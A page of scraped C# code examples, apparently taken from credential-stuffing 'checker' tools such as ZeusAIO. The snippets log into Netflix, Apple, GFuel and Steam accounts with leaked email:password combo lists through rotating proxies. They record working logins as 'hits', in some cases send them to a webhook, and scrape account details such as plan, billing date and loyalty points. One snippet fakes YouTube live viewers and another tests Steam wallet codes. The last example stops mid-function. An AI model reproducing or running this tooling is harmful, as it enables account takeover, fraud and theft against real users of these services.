Example #1
0
        public static bool CheckWalletCode(string Code, CookieCollection Cookies)
        {
            string postdata = $"wallet_code={Code}&{Cookies["sessionid"].ToString()}";

            Leaf.xNet.HttpRequest m_HttpClient = new Leaf.xNet.HttpRequest();
            m_HttpClient.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36";
            m_HttpClient.AddHeader("Host", "store.steampowered.com");
            m_HttpClient.AddHeader("X-Requested-With", "XMLHttpRequest");
            m_HttpClient.UseCookies        = true;
            m_HttpClient.AllowAutoRedirect = false;
            m_HttpClient.Cookies           = new CookieStorage();
            m_HttpClient.Cookies.Set(Cookies);
            m_HttpClient.Cookies.Set("https://store.steampowered.com/account/validatewalletcode/", Web.steamLoginSecure);

            var     response = m_HttpClient.Post("https://store.steampowered.com/account/validatewalletcode/", postdata, "application/x-www-form-urlencoded; charset=UTF-8");
            dynamic eval     = JsonConvert.DeserializeObject(response.ToString());

            if (eval.success == 1 && eval.detail == 0)
            {
                return(true);
            }
            else
            {
                return(false);
            }
        }
Example #2
0
        private static string InstagramGetCaptures(CookieStorage cookies, string username)
        {
            while (true)
            {
                try
                {
                    using (var req = new HttpRequest())
                    {
                        switch (Program.ProxyType1)
                        {
                        case "HTTP":
                            req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS4":
                            req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS5":
                            req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;
                        }

                        req.IgnoreProtocolErrors = true;
                        req.AllowAutoRedirect    = false;

                        req.Cookies   = cookies;
                        req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                        req.AddHeader("Pragma", "no-cache");
                        req.AddHeader("Accept", "*/*");

                        var strResponse = req.Get(new Uri($"https://www.instagram.com/{username}/")).ToString();

                        if (strResponse.Contains("\"edge_followed_by\":{\"count\":"))
                        {
                            var follower_count = Regex.Match(strResponse, "\"edge_followed_by\":{\"count\":(.*?)}")
                                                 .Groups[1].Value;
                            var following_count = Regex.Match(strResponse, ",\"edge_follow\":{\"count\":(.*?)}")
                                                  .Groups[1].Value;

                            return($" - Followers: {follower_count} - Following: {following_count}");
                        }

                        return("");
                    }
                }
                catch
                {
                    Program.Errors++;
                }
            }

            return("");
        }
Example #3
0
        static string NetflixGetCaptures(string cookie, CookieStorage cookies)
        {
            for (int i = 0; i < 5; i++)
            {
                while (true)
                {
                    try
                    {
                        using (HttpRequest req = new HttpRequest())
                        {
                            string proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                req.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                req.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                req.Proxy = Socks5ProxyClient.Parse(proxy);
                            }
                            //req.AddHeader("Cookie", "flwssn="+cookie);
                            req.Cookies = cookies;
                            req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
                            req.AddHeader("Accept-Encoding", "gzip, deflate, br");
                            req.AddHeader("Cache-Control", "max-age=0");
                            req.AddHeader("Connection", "keep-alive");
                            req.Referer = "https://www.netflix.com/browse";
                            req.AddHeader("Sec-Fetch-Dest", "document");
                            req.AddHeader("Sec-Fetch-Mode", "navigate");
                            req.AddHeader("Sec-Fetch-Site", "same-origin");
                            req.AddHeader("Sec-Fetch-User", "?1");
                            req.AddHeader("Upgrade-Insecure-Requests", "1");
                            req.UserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1";
                            string strResponse = req.Get(new Uri($"https://www.netflix.com/YourAccount")).ToString();

                            if (strResponse.Contains("currentPlanName\""))
                            {
                                string plan            = Regex.Match(strResponse, "\"currentPlanName\":\"(.*?)\"").Groups[1].Value.Replace("\\u03A4\\u03C5\\u03C0\\u03B9\\u03BA\\u03CC", "Basic").Replace("B\\u00E1sico", "Basic").Replace("u57FAu672C", "Basic").Replace("Est\\u00E1ndar", "Standard").Replace("Standart", "Standard");
                                string country         = Regex.Match(strResponse, "\"currentCountry\":\"(.*?)\"").Groups[1].Value;
                                string isDVD           = Regex.Match(strResponse, "\"isDVD\":(.*?),").Groups[1].Value;
                                string screens         = Regex.Match(strResponse, "\"maxStreams\":([0-9]*?),").Groups[1].Value;
                                string nextBillingDate = Regex.Match(strResponse, "\"nextBillingDate\":\"(.*?)\"").Groups[1].Value.Replace("\\x2F", "/").Replace("\\x20", "/");

                                return($"Plan: {plan} - Screens: {screens} - Country: {country} - DVD: {isDVD} - Next Billing: {nextBillingDate}");
                            }
                            break;
                        }
                    }
                    catch
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return("Working - Failed Capture");
        }
Example #4
0
        static string GFuelGetCaptures(string token, string email)
        {
            while (true)
            {
                try
                {
                    using (HttpRequest req = new HttpRequest())
                    {
                        SetBasicRequestSettingsAndProxies(req);

                        req.AddHeader("Content-Type", "application/graphql; charset=utf-8");
                        req.AddHeader("Accept", "application/json");
                        req.AddHeader("X-Shopify-Storefront-Access-Token", "21765aa7568fd627c44d68bde191f6c0");
                        string strResponse = req.Post(new Uri($"https://gfuel.com/api/2020-01/graphql"), new BytesContent(Encoding.Default.GetBytes("{customer(customerAccessToken:\"" + token + "\"){createdAt,displayName,email,id,firstName,lastName,phone}}"))).ToString();

                        if (strResponse.Contains("\"id\":\""))
                        {
                            string creation_date = Regex.Match(strResponse, "createdAt\":\"(.*?)\"").Groups[1].Value.Split('T')[0];
                            string userId        = Regex.Match(strResponse, "\"id\":\"(.*?)\"").Groups[1].Value.Split('T')[0];
                            string decodedId     = Check.Base64Encode(userId).Replace("gid://shopify/Customer/", "");

                            req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                            req.AddHeader("Accept", "*/*");
                            string strResponse2 = req.Get($"https://loyalty.yotpo.com/api/v1/customer_details?customer_email={email}&customer_external_id={decodedId}&customer_token={token}&merchant_id=33869").ToString();

                            if (strResponse2.Contains("\"created_at\""))
                            {
                                string pointsBalance = Regex.Match(strResponse2, "\"points_balance\":(.*?),").Groups[1].Value;
                                string vipStatus     = Regex.Match(strResponse2, ",\"campaign\":{\"title\":\"Earned Tier (.*?)\"").Groups[1].Value;
                                string purchases     = Regex.Match(strResponse2, "\"purchases_made\":(.*?),").Groups[1].Value;

                                if (pointsBalance == "" || pointsBalance == "0")
                                {
                                    return("Free");
                                }

                                return($"Points Balance: {pointsBalance} - Vip Status: {vipStatus} - Purchases: {purchases}");
                            }
                            return("");
                        }
                        else
                        {
                            return("");
                        }
                    }
                }
                catch
                {
                    ZeusAIO.mainmenu.errors++;
                }
            }
            return("");
        }
Example #5
0
        static string InstagramGetCaptures(CookieStorage cookies, string username)
        {
            while (true)
            {
                try
                {
                    using (HttpRequest httpRequest = new HttpRequest())
                    {
                        string proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                        if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                        {
                            httpRequest.Proxy = HttpProxyClient.Parse(proxy);
                        }
                        if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                        {
                            httpRequest.Proxy = Socks4ProxyClient.Parse(proxy);
                        }
                        if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                        {
                            httpRequest.Proxy = Socks5ProxyClient.Parse(proxy);
                        }
                        httpRequest.IgnoreProtocolErrors = true;
                        httpRequest.AllowAutoRedirect    = false;

                        httpRequest.Cookies   = cookies;
                        httpRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                        httpRequest.AddHeader("Pragma", "no-cache");
                        httpRequest.AddHeader("Accept", "*/*");

                        string strResponse = httpRequest.Get(new Uri($"https://www.instagram.com/{username}/")).ToString();

                        if (strResponse.Contains("\"edge_followed_by\":{\"count\":"))
                        {
                            string follower_count  = Regex.Match(strResponse, "\"edge_followed_by\":{\"count\":(.*?)}").Groups[1].Value;
                            string following_count = Regex.Match(strResponse, ",\"edge_follow\":{\"count\":(.*?)}").Groups[1].Value;

                            return($" - Followers: {follower_count} - Following: {following_count}");
                        }
                        return("");
                    }
                }
                catch
                {
                    ZeusAIO.mainmenu.errors++;
                }
            }
            return("");
        }
Example #6
0
        static string AppleGetToken(ref CookieStorage cookies)
        {
            while (true)
            {
                try
                {
                    using (HttpRequest req = new HttpRequest())
                    {
                        SetBasicRequestSettingsAndProxies(req);
                        cookies       = new CookieStorage();
                        req.Cookies   = cookies;
                        req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36";
                        req.AddHeader("Accept", "*/*");

                        string strResponse = req.Get(new Uri("https://secure4.store.apple.com/shop/sign_in?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ")).ToString();

                        if (strResponse.Contains("stk\":\""))
                        {
                            return(Regex.Match(strResponse, "stk\":\"(.*?)\"}").Groups[1].Value);
                        }
                    }
                }
                catch
                {
                    ZeusAIO.mainmenu.errors++;
                }
            }
            return("");
        }
Example #7
0
        private static string AppleGetToken(ref CookieStorage cookies)
        {
            while (true)
            {
                try
                {
                    using (var req = new HttpRequest())
                    {
                        switch (Program.ProxyType1)
                        {
                        case "HTTP":
                            req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS4":
                            req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS5":
                            req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;
                        }

                        cookies       = new CookieStorage();
                        req.Cookies   = cookies;
                        req.UserAgent =
                            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36";
                        req.AddHeader("Accept", "*/*");

                        var strResponse = req.Get(new Uri(
                                                      "https://secure4.store.apple.com/shop/sign_in?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ"))
                                          .ToString();

                        if (strResponse.Contains("stk\":\""))
                        {
                            return(Regex.Match(strResponse, "stk\":\"(.*?)\"}").Groups[1].Value);
                        }
                    }
                }
                catch
                {
                    Program.Errors++;
                }
            }

            return("");
        }
Example #8
0
        private static void Worker()
        {
            var random = new Random();

            while (true)
            {
                try
                {
                    using (var req = new HttpRequest
                    {
                        Proxy = _scraper.Next()
                    })
                    {
                        req.UserAgentRandomize();

                        HttpResponse res = req.Get($"https://www.youtube.com/watch?v={_id}");

                        var sres        = res.ToString();
                        var viewersTemp = string.Join("",
                                                      RegularExpressions.Viewers.Match(sres).Groups[1].Value.Where(char.IsDigit));

                        if (!string.IsNullOrEmpty(viewersTemp))
                        {
                            _viewers = viewersTemp;
                        }

                        _title = RegularExpressions.Title.Match(sres).Groups[1].Value;

                        var url = RegularExpressions.ViewUrl.Match(sres).Groups[1].Value;
                        url = url.Replace(@"\u0026", "&").Replace("%2C", ",").Replace(@"\/", "/");

                        var query = HttpUtility.ParseQueryString(url);

                        var cl = query.Get(query.AllKeys[0]);
                        var ei = query.Get("ei");
                        var of = query.Get("of");
                        var vm = query.Get("vm");

                        var buffer = new byte[100];

                        random.NextBytes(buffer);

                        var cpn = RegularExpressions.Trash.Replace(Convert.ToBase64String(buffer), "").Substring(0, 16);

                        var st = random.Next(1000, 10000);
                        var et = st + random.Next(200, 700);

                        var rt = random.Next(10, 200);

                        var lact = random.Next(1000, 8000);
                        var rtn  = rt + 300;

                        var args = new Dictionary <string, string>
                        {
                            ["ns"]        = "yt",
                            ["el"]        = "detailpage",
                            ["cpn"]       = cpn,
                            ["docid"]     = _id,
                            ["ver"]       = "2",
                            ["cmt"]       = et.ToString(),
                            ["ei"]        = ei,
                            ["fmt"]       = "243",
                            ["fs"]        = "0",
                            ["rt"]        = rt.ToString(),
                            ["of"]        = of,
                            ["euri"]      = "",
                            ["lact"]      = lact.ToString(),
                            ["live"]      = "dvr",
                            ["cl"]        = cl,
                            ["state"]     = "playing",
                            ["vm"]        = vm,
                            ["volume"]    = "100",
                            ["cbr"]       = "Firefox",
                            ["cbrver"]    = "83.0",
                            ["c"]         = "WEB",
                            ["cplayer"]   = "UNIPLAYER",
                            ["cver"]      = "2.20201210.01.00",
                            ["cos"]       = "Windows",
                            ["cosver"]    = "10.0",
                            ["cplatform"] = "DESKTOP",
                            ["delay"]     = "5",
                            ["hl"]        = "en_US",
                            ["rtn"]       = rtn.ToString(),
                            ["aftm"]      = "140",
                            ["rti"]       = rt.ToString(),
                            ["muted"]     = "0",
                            ["st"]        = st.ToString(),
                            ["et"]        = et.ToString()
                        };

                        var urlToGet = BuildUrl(args);

                        req.AcceptEncoding = "gzip, deflate";
                        req.AddHeader("Host", "www.youtube.com");

                        req.Get(urlToGet);
                        Interlocked.Increment(ref _botted);
                    }
                }
                catch
                {
                    Interlocked.Increment(ref _errors);
                }

                Thread.Sleep(1);
            }
        }
Example #9
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
                        string random     = "NFAPPL-02-IPHONE7=2-" + RandomCapitalsAndDigits(64);
                        string kir        = UrlEncode(random);
                        string paramsData = UrlEncode("{\"action\":\"loginAction\",\"fields\":{\"userLoginId\":\"" + s[0] + "\",\"rememberMe\":\"true\",\"password\":\"" + s[1] + "\"},\"verb\":\"POST\",\"mode\":\"login\",\"flow\":\"appleSignUp\"}");
Retry:
                        using (HttpRequest req = new HttpRequest())
                        {
                            proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                req.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                req.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                req.Proxy = Socks5ProxyClient.Parse(proxy);
                            }
                            CookieStorage cookies = new CookieStorage();
                            req.Cookies = cookies;
                            req.AddHeader("Content-Type", "application/x-www-form-urlencoded");
                            req.AddHeader("X-Netflix.Argo.abTests", " ");
                            req.AddHeader("X-Netflix.client.appVersion", "11.44.0");
                            req.AddHeader("Accept", "*/*");
                            req.AddHeader("X-Netflix.Argo.NFNSM", "9");
                            req.AddHeader("X-Netflix.Request.Attempt", "1");
                            req.AddHeader("X-Netflix.client.idiom", "phone");
                            req.AddHeader("X-Netflix.Request.Routing", "{\"path\":\"/nq/iosui/argo/~11.44.0/user\",\"control_tag\":\"iosui_argo_non_member\"}");
                            req.UserAgent = "Argo/11.44.0 (iPhone; iOS 12.4.3; Scale/2.00)";
                            req.AddHeader("X-Netflix.client.type", "argo");
                            req.AddHeader("Connection", "close");
                            req.AddHeader("X-Netflix.client.iosVersion", "12.4.3");
                            req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                        new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));
                            string strResponse = req.Post(new Uri("https://ios.prod.ftl.netflix.com/iosui/user/11.44"), new BytesContent(Encoding.Default.GetBytes($"appInternalVersion=11.44.0&appVersion=11.44.0&callPath=%5B%22moneyball%22%2C%22appleSignUp%22%2C%22next%22%5D&config=%7B%22useSecureImages%22%3Atrue%2C%22billboardTrailerEnabled%22%3A%22false%22%2C%22clipsEnabled%22%3A%22false%22%2C%22titleCapabilityFlattenedShowEnabled%22%3A%22true%22%2C%22seasonRenewalPostPlayEnabled%22%3A%22true%22%2C%22previewsBrandingEnabled%22%3A%22true%22%2C%22aroGalleriesEnabled%22%3A%22true%22%2C%22interactiveFeatureSugarPuffsEnabled%22%3A%22true%22%2C%22showMoreDirectors%22%3Atrue%2C%22searchImageLocalizationFallbackLocales%22%3Atrue%2C%22billboardEnabled%22%3A%22true%22%2C%22searchImageLocalizationOnResultsOnly%22%3A%22false%22%2C%22interactiveFeaturePIBEnabled%22%3A%22true%22%2C%22warmerHasGenres%22%3Atrue%2C%22interactiveFeatureBadgeIconTestEnabled%22%3A%229.57.0%22%2C%22previewsRowEnabled%22%3A%22true%22%2C%22kidsMyListEnabled%22%3A%22true%22%2C%22billboardPredictionEnabled%22%3A%22false%22%2C%22kidsBillboardEnabled%22%3A%22true%22%2C%22characterBarOnPhoneEnabled%22%3A%22false%22%2C%22contentWarningEnabled%22%3A%22true%22%2C%22bigRowEnabled%22%3A%22true%22%2C%22interactiveFeatureAppUpdateDialogueEnabled%22%3A%22false%22%2C%22familiarityUIEnabled%22%3A%22false%22%2C%22bigrowNewUIEnabled%22%3A%22false%22%2C%22interactiveFeatureSugarPuffsPreplayEnabled%22%3A%22true%22%2C%22volatileBillboardEnabled%22%3A%22false%22%2C%22motionCharacterEnabled%22%3A%22true%22%2C%22roarEnabled%22%3A%22true%22%2C%22billboardKidsTrailerEnabled%22%3A%22false%22%2C%22interactiveFeatureBuddyEnabled%22%3A%22true%22%2C%22mobileCollectionsEnabled%22%3A%22false%22%2C%22interactiveFeatureMinecraftEnabled%22%3A%22true%22%2C%22searchImageLocalizationEnabled%22%3A%22false%22%2C%22interactiveFeatureKimmyEnabled%22%3A%22true%22%2C%22interactiveFeatureYouVsWildEnabled%22%3A%22true%22%2C%22interactiveFeatureStretchBreakoutEnabled%22%3A%22true%22%2C%22kidsTrailers%22%3Atrue%7D&device_type=NFAPPL-02-&esn={kir}&idiom=phone&iosVersion=12.4.3&isTablet=false&kids=false&maxDeviceWidth=375&method=call&model=saget&modelType=IPHONE7-2&odpAware=true&param={paramsData}&pathFormat=graph&pixelDensity=2.0&progressive=false&responseFormat=json"))).ToString();

                            if (strResponse.Contains("memberHome"))
                            {
                                string cookieToken = Regex.Match(strResponse, "\"flwssn\":\"(.*?)\"").Groups[1].Value;
                                string capture     = NetflixGetCaptures(cookieToken, cookies);
                                ZeusAIO.mainmenu.hits++;
                                if (Config.config.LogorCui == "2")
                                {
                                    Console.WriteLine("[HIT - NETFLIX] " + s[0] + ":" + s[1] + " | " + capture, Color.Green);
                                }
                                Export.AsResult("/Netflix_hits", s[0] + ":" + s[1] + " | " + capture);
                                return(false);
                            }
                            else if (strResponse.Contains("\"value\":\"incorrect_password\"},") || strResponse.Contains("unrecognized_email_consumption_only"))
                            {
                                break;
                            }
                            else
                            {
                                ZeusAIO.mainmenu.errors++;
                                goto Retry;
                            }
                        }
                    }
                    catch (Exception e)
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(true);
        }
Example #10
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            var cookies = new CookieStorage();
                            var token   = AppleGetToken(ref cookies);

                            req.UserAgent =
                                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36";
                            req.AddHeader("Content-Type", "application/x-www-form-urlencoded");
                            req.AddHeader("X-Requested-With", "XMLHttpRequest");
                            req.AddHeader("x-aos-model-page", "sentryLogin");
                            req.AddHeader("syntax", "graviton");
                            req.AddHeader("x-aos-stk", token);
                            req.AddHeader("modelVersion", "v2");
                            req.AddHeader("Accept", "*/*");
                            req.AddHeader("Sec-Fetch-Site", "same-origin");
                            req.AddHeader("Sec-Fetch-Mode", "cors");
                            req.AddHeader("Sec-Fetch-Dest", "empty");
                            req.Referer =
                                "https://secure4.store.apple.com/shop/sign_in?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ";
                            req.Cookies = cookies;

                            var strResponse = req
                                              .Post(
                                new Uri(
                                    "https://secure4.store.apple.com/shop/sentryx/sign_in_crd?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&_a=customerLogin&_m=loginHome.customerLogin"),
                                new BytesContent(Encoding.Default.GetBytes(
                                                     $"loginHome.customerLogin.appleId={HttpUtility.UrlEncode(array[0])}&loginHome.customerLogin.password={array[1]}")))
                                              .ToString();

                            if (strResponse.Contains(
                                    "{\"head\":{\"status\":302,\"data\":{\"url\":\"https://www.apple.com/\"}},\"body\":{}}")
                                )
                            {
                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Apple_hits", array[0] + ":" + array[1]);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Apple", array[0] + ":" + array[1]);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Apple Hits");
                                }
                            }
                            else if (strResponse.Contains("incorrect_appleid_password") ||
                                     strResponse.Contains("Your account information was entered incorrectly.") ||
                                     strResponse.Contains("reset_password_account_locked"))
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Example #11
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
Retry:
                        using (HttpRequest req = new HttpRequest())
                        {
                            SetBasicRequestSettingsAndProxies(req);

                            req.AddHeader("Content-Type", "application/graphql; charset=utf-8");
                            req.AddHeader("Accept", "application/json");
                            req.AddHeader("X-Shopify-Storefront-Access-Token", "21765aa7568fd627c44d68bde191f6c0");
                            Leaf.xNet.HttpResponse res = req.Post(new Uri("https://gfuel.com/api/2020-01/graphql"), new BytesContent(Encoding.Default.GetBytes("mutation{customerAccessTokenCreate(input:{email:\"" + s[0] + "\",password:\"" + s[1] + "\"}){customerAccessToken{accessToken,expiresAt},userErrors{field,message}}}")));
                            string strResponse         = res.ToString();

                            if (strResponse.Contains("\"accessToken\""))
                            {
                                string accessToken = Regex.Match(strResponse, "\"accessToken\":\"(.*?)\"").Groups[1].Value;
                                string capture     = "";

                                capture = GFuelGetCaptures(accessToken, s[0]);
                                if (capture != "")
                                {
                                    break;
                                }
                                if (capture == "")
                                {
                                    ZeusAIO.mainmenu.hits++;
                                    if (Config.config.LogorCui == "2")
                                    {
                                        Console.WriteLine("[HIT - GFUEL] " + s[0] + ":" + s[1] + " | " + "Capture Failed", Color.Green);
                                    }
                                    Export.AsResult("/Gfuel_capturefailed_hits", s[0] + ":" + s[1]);
                                    return(false);
                                }
                                ZeusAIO.mainmenu.hits++;
                                if (Config.config.LogorCui == "2")
                                {
                                    Console.WriteLine("[HIT - GFUEL] " + s[0] + ":" + s[1] + " | " + capture, Color.Green);
                                }
                                Export.AsResult("/Gfuel_hits", s[0] + ":" + s[1]);
                                return(false);
                            }
                            else
                            {
                                break;
                            }
                            break;
                        }
                    }
                    catch
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(false);
        }
Example #12
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
Retry:
                        using (HttpRequest req = new HttpRequest())
                        {
                            proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                req.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                req.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                req.Proxy = Socks5ProxyClient.Parse(proxy);
                            }
                            CookieStorage cookies = new CookieStorage();
                            string        token   = AppleGetToken(ref cookies);

                            req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36";
                            req.AddHeader("Content-Type", "application/x-www-form-urlencoded");
                            req.AddHeader("X-Requested-With", "XMLHttpRequest");
                            req.AddHeader("x-aos-model-page", "sentryLogin");
                            req.AddHeader("syntax", "graviton");
                            req.AddHeader("x-aos-stk", token);
                            req.AddHeader("modelVersion", "v2");
                            req.AddHeader("Accept", "*/*");
                            req.AddHeader("Sec-Fetch-Site", "same-origin");
                            req.AddHeader("Sec-Fetch-Mode", "cors");
                            req.AddHeader("Sec-Fetch-Dest", "empty");
                            req.Referer = "https://secure4.store.apple.com/shop/sign_in?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ";
                            req.Cookies = cookies;

                            string strResponse = req.Post(new Uri("https://secure4.store.apple.com/shop/sentryx/sign_in_crd?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&_a=customerLogin&_m=loginHome.customerLogin"), new BytesContent(Encoding.Default.GetBytes($"loginHome.customerLogin.appleId={HttpUtility.UrlEncode(s[0])}&loginHome.customerLogin.password={s[1]}"))).ToString();

                            if (strResponse.Contains("{\"head\":{\"status\":302,\"data\":{\"url\":\"https://www.apple.com/\"}},\"body\":{}}"))
                            {
                                ZeusAIO.mainmenu.hits++;
                                if (Config.config.LogorCui == "2")
                                {
                                    Console.WriteLine("[HIT - APPLE] " + s[0] + ":" + s[1], Color.Green);
                                }
                                Export.AsResult("/Apple_hits", s[0] + ":" + s[1]);
                                return(false);
                            }
                            else if (strResponse.Contains("incorrect_appleid_password") || strResponse.Contains("Your account information was entered incorrectly.") || strResponse.Contains("reset_password_account_locked"))
                            {
